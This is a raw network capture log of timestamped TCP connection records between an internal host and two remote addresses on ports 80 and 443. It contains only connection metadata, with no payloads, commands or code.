Nov 15, 2024 19:39:37.275618076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275631905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275645971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275657892 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.275660038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275681973 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.275681973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275696993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275697947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.275712013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275727034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.275738955 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.275758028 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276164055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276205063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276218891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276284933 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276299000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276314020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276324034 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276336908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276350975 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276351929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276413918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276437998 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276473999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276488066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276501894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276515961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276525974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276531935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276546955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276552916 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276561975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276570082 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276598930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276607990 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276613951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276628017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276648998 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.276649952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.276693106 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277190924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277205944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277220964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277235031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277276039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277291059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277303934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277318954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277331114 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277331114 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277331114 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277360916 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277374029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277399063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277415037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277436972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277439117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277533054 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277729988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277744055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277757883 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277790070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277805090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277808905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277821064 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277828932 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277837038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277859926 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277924061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277939081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277952909 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277966022 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277976990 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.277981043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.277996063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278006077 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278012037 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278078079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278090954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278105021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278119087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278119087 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278132915 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278146982 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278147936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278165102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278203011 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278630972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278645992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278661013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278670073 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278676033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278700113 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278709888 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278760910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278775930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278789043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278803110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278816938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278831005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278831959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278846979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.278860092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278877974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.278990984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279006004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279020071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279031992 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279035091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279050112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279057026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279063940 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279078007 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279093027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279108047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279113054 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279133081 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279133081 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279360056 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279383898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279398918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279427052 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279433966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279448986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279529095 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279542923 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279556990 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279571056 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279576063 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279586077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279598951 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279633045 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279643059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279658079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279805899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279851913 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279866934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279895067 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.279932976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279947996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279963017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279978037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.279992104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280004978 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280011892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280025959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280038118 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280072927 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280103922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280117989 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280133009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280148983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280189991 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280200958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280215025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280230045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280244112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280271053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280281067 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280352116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280366898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280380964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280395031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280406952 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280410051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280426025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280433893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280450106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280466080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.280471087 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.280617952 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.282258034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.282344103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.282358885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.282373905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.282397032 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.282438993 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.289968014 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.290028095 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.290159941 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.290827036 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.290867090 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.290946960 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.291033983 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.291043997 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.291179895 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.291212082 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.299855947 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.299911022 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.300224066 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.300224066 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.300224066 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.303396940 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.303436041 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.304541111 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.304666042 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.304681063 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.308527946 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.309458017 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313426018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313441038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313455105 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313481092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313492060 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313493013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313505888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313513994 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313519001 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313549042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313628912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313642025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313653946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313666105 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313678026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313678980 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313693047 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313715935 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313756943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313770056 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313787937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313798904 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313811064 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313815117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313823938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313836098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313838005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313847065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313858986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313860893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313869953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313888073 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313896894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313908100 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313918114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313958883 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.313978910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.313991070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314002991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314032078 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314136982 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314150095 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314161062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314172029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314182997 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314193964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314205885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314208031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314234018 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314244032 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314273119 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314286947 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314296961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314307928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314315081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314323902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314326048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314337969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314344883 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314349890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314372063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314373016 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314379930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314412117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314413071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314515114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314528942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314541101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314552069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314572096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314577103 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314585924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314611912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314634085 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314812899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314832926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314843893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314855099 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314866066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314876080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314882040 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314888954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.314894915 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314913988 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.314949036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315025091 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315047026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315059900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315069914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315082073 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315092087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315104008 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315104961 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315131903 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315140963 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315150023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315161943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315176010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315187931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315200090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315205097 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315213919 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315226078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315228939 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315243959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315258980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315259933 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315270901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315280914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315282106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315306902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315603018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315675020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315685987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315737009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315747976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315754890 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315758944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315771103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315800905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315812111 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315840960 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315853119 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315865040 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315877914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315890074 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.315895081 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.315917015 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316013098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316025972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316035986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316047907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316061020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316075087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316082001 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316102982 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316102982 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316102982 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316117048 CET	49802	80	192.168.2.7	185.215.113.16
